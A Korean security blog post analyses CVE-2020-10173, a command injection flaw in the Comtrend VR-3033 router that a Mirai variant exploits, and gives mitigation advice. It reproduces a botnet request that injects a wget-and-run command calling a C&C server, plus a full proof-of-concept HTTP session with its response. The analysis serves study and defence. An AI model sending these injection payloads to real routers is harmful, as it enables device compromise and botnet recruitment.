Comtrend VR-3033 Router RCE Vernerability (CVE-2020-10173)

Comtrend VR-3033 Router RCE Vernerability (CVE-2020-10173)Hacking & Security/Vulnerability2020. 7. 16. 10:54@피망IT

목차 📖

Vulnerability: Comtrend Router RCE 취약점

CVE Code: CVE-2020-10173

1. 개념

Comtrend는 대만 네트워크 장비 전문 업체이다.

2. 취약점 설명

이 Mirai Botnet 변종은 2020년 7월에 발견 되었고 Comtrend에서 만든 라우터들의 취약점을 Exploit 하는 기능을 가지고 있는 것이 특징이다. 악성코드에 감염된 IoT 기기는 C&C 서버의 명령에 따라 DoS 공격 수행한다.

Mirai는 2016년에 처음 발견된 봇넷 멀웨어로, Zombie Device와 C&C 서버를 이용하여 대규모 디도스 공격을 일으키는 데 사용됬다. 그 해 10월에 소스코드가 완전 공개된 바 있고, 그 이후에 소라(SORA), 언스테이블(UNSTABLE), 무카시(Mukashi) 등 각종 변종들이 등장했다.

3. Raw Data

현재 PoC만 공개된 상태이지만, 이를 공격에 활용한 사례는 현재까지 없다.

아래는 Comtrend VR-3033 공격시 사용되는 Requset Packet이다.

GET ping.cgi?pingIpAddress=google.kr;wget http://[C&C Server]/sn0rt.sh -0 -> /tmp/jno;sh /tmp/jno/$sessionKey=1039230114 HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World

해당 취약점을 통해 Comtrend VR-3033 라우터 뿐만 아니라 다양한 네트워크 기기를 공격한다.

1) Netlink GPON Router RCE

2) LG SuperSign EZ CMS 2.5 RCE

3) Linksys E-series RCE

그 이외에도 MvPower DVR, Symantec Web Gateway, ThinkPHP 장비에도 취약점이 존재한다.

4. 대응 방안

인터넷에 연결된 IoT장비(공유기, NAS, CCTV, CAM 등)의 초기 관리자 패스워드를 변경 (초기 관리자 패스워드를 복잡도가 높은 패스워드로 변경 권고)
상기 명시된 대상 장비에 원격접속이 불가능하도록 사용하지 않는 서비스 포트의 사용 해제 설정 (SSH, Telnet 등)

5. Exploit Code

# Title: Comtrend VR-3033 - Authenticated Command Injection
# Date: 2020-02-26
# Author: Author : Raki Ben Hamouda
# Vendor: https://us.comtrend.com
# Product link: https://us.comtrend.com/products/vr-3030/
# CVE: CVE-2020-10173

The Comtrend VR-3033 is prone to Multiple Authenticated Command Injection
vulnerability via ping and traceroute diagnostic page.
Remote attackers are able to get full control and compromise the network
managed by the router.

Note : This bug may exist in other Comtrend routers .
===============================================
Product Page :
https://us.comtrend.com/products/vr-3030/

Firmware version :
DE11-416SSG-C01_R02.A2pvI042j1.d26m

Bootloader (CFE) Version :
 1.0.38-116.228-1

To reproduce the vulnerability attacker has to access the interface at
least with minimum privilege.

1- Open interface
2- click on 'Diagnostic' tab on top.
3- click then on 'Ping' or traceroute
4- on the text input, type 'google.fr;ls - l'
5 - a list of folder names should appear.
#############################
POC session Logs :

GET /ping.cgi?pingIpAddress=google.fr;ls&sessionKey=1039230114 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:73.0)
Gecko/20100101 Firefox/73.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dXNlcjp1c2Vy
Connection: close
Referer: http://192.168.0.1/pingview.cmd
Upgrade-Insecure-Requests: 1



=====================++RESPONSE++=====================

HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Fri, 02 Jan 1970 00:00:26 GMT
Content-Type: text/html
Connection: close

<html><head>
<meta HTTP-EQUIV="Pragma" CONTENT='no-cache'>
<link rel="stylesheet" href='stylemain.css' type='text/css'>
<link rel="stylesheet" href='colors.css' type='text/css'>
<script language="javascript" src="util.js">
</script>
<script language="javascript">
<!-- hide

function btnPing() {
var loc = 'ping.cgi?';

with ( document.forms[0] ) {
if (pingIpAddress.value.length == 0 ) {
return;

}

loc += 'pingIpAddress=' + pingIpAddress.value;
   loc += '&sessionKey=1592764063';
}

var code = 'location="' + loc + '"';
   eval(code);
}

// done hiding -->

</script>
</head>
<body>
<blockquote>
<form>
<b>Ping&nbsp;</b><br>
<br> Send ICMP ECHO_REQUEST packets to network hosts.<br>
<br><table border="0" cellpadding="0" cellspacing="0"><tr>
<td width="170">Ping IP Address / Hostname:</td>
<td width="170"><input type='text' name='pingIpAddress'
onkeydown="if(event.keyCode == 13){event.returnValue = false;}"></td>
<td width=""><input type='button' onClick='btnPing()' value='Ping'></td>
</tr></table><br>
   <tr>
      <td>bin
</td><br>
   </tr>
   <tr>
      <td>bootfs
</td><br>
   </tr>
   <tr>
      <td>data
</td><br>
   </tr>
   <tr>
      <td>debug
</td><br>
   </tr>
   <tr>
      <td>dev
</td><br>
   </tr>
   <tr>
      <td>etc
</td><br>
   </tr>
   <tr>
      <td>lib
</td><br>
   </tr>
   <tr>
      <td>linuxrc
</td><br>
   </tr>
   <tr>
      <td>mnt
</td><br>
   </tr>
   <tr>
      <td>opt
</td><br>
   </tr>
   <tr>
      <td>proc
</td><br>
   </tr>
   <tr>
      <td>sbin
</td><br>
   </tr>
   <tr>
      <td>sys
</td><br>
   </tr>
   <tr>
      <td>tmp
</td><br>
   </tr>
   <tr>
      <td>usr
</td><br>
   </tr>
   <tr>
      <td>var
</td><br>
   </tr>
   <tr>
      <td>webs
</td><br>
   </tr>
</form>
</blockquote>
</body>
</html>

##Same bug with the same way we exploited in ping function can be exploited
the same way in traceroute function.
===========
##Timeline :
*Bug sent to vendor : 17-02-2020
*No Response after 10 days
* Public disclosure: 27-02-020

[참고]

보안 뉴스: https://www.boannews.com/media/view.asp?idx=89774

KISA 보안공지: https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35513

Tradntrend micro 블로그: https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/

728x90

저작자표시 비영리 변경금지

'Hacking & Security > Vulnerability' 카테고리의 다른 글

DrayTek Vigor RCE Vulnerability (CVE-2020-8515) (3)	2020.10.03
Netlink GPON RCE Vulnerability (CVE-2018-10562) (4)	2020.10.01
BIG IP F5 TMUI RCE Vulnerability (CVE-2020-5902) (3)	2020.07.08
WordPress Plugin Multi-Scheduler 1.0.0 CSRF(CVE-2020-13426) (1)	2020.06.26
Zyxel NAS Command Injection(CVE-2020-9054) (0)	2020.06.24